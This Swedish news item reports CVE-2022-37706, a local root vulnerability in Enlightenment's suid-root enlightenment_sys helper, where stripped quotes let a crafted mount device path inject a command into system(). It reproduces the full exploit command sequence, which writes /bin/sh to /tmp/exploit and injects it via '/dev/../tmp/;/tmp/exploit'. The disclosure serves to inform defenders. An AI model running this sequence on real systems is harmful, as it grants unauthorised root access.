Sårbarhet i Enlightenment-användarmiljö som tillåter root-åtkomst

En sårbarhet (CVE-2022-37706) har identifierats i Enlightenment-användarmiljön som tillåter en oprivilegierad lokal användare att exekvera kod med roträttigheter. Sårbarheten har ännu inte åtgärdats (0-dagars), men det finns redan en exploatering tillgänglig i den offentliga domänen, testad i Ubuntu 22.04.

Problemet ligger i den körbara filen enlightenment_sys, som levereras med suid root-flaggan och utför vissa tillåtna kommandon, som att montera enheten med monteringsverktyget, genom ett anrop till system(). På grund av felaktig funktion av funktionen som genererar strängen som skickas till system()-anropet, klipps citattecken från argumenten för kommandot som startas, vilket kan användas för att köra din egen kod. Till exempel, när du kör mkdir -p /tmp/net mkdir -p "/tmp/;/tmp/exploit" echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit enlightenment_sys /bin/mount - o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit” /tmp// /net

på grund av borttagandet av dubbla citattecken, istället för det angivna kommandot '/bin/mount ... "/dev/../tmp/;/tmp/exploit" /tmp///net' kommer en sträng utan dubbla citattecken att vara skickas till system()-funktionen ' /bin/mount … /dev/../tmp/;/tmp/exploit /tmp///net', vilket kommer att orsaka kommandot '/tmp/exploit /tmp///net ' ska exekveras separat istället för att bearbetas som en del av sökvägen till enheten. Raderna "/dev/../tmp/" och "/tmp///net" är valda för att kringgå argumentkontrollen för monteringskommandot i enlightenment_sys (monteringsenheten måste börja med /dev/ och peka på en befintlig fil, och de tre "/"-tecknen vid monteringspunkten är specificerade för att uppnå önskad vägstorlek).

Källa: opennet.ru

Lägg en kommentar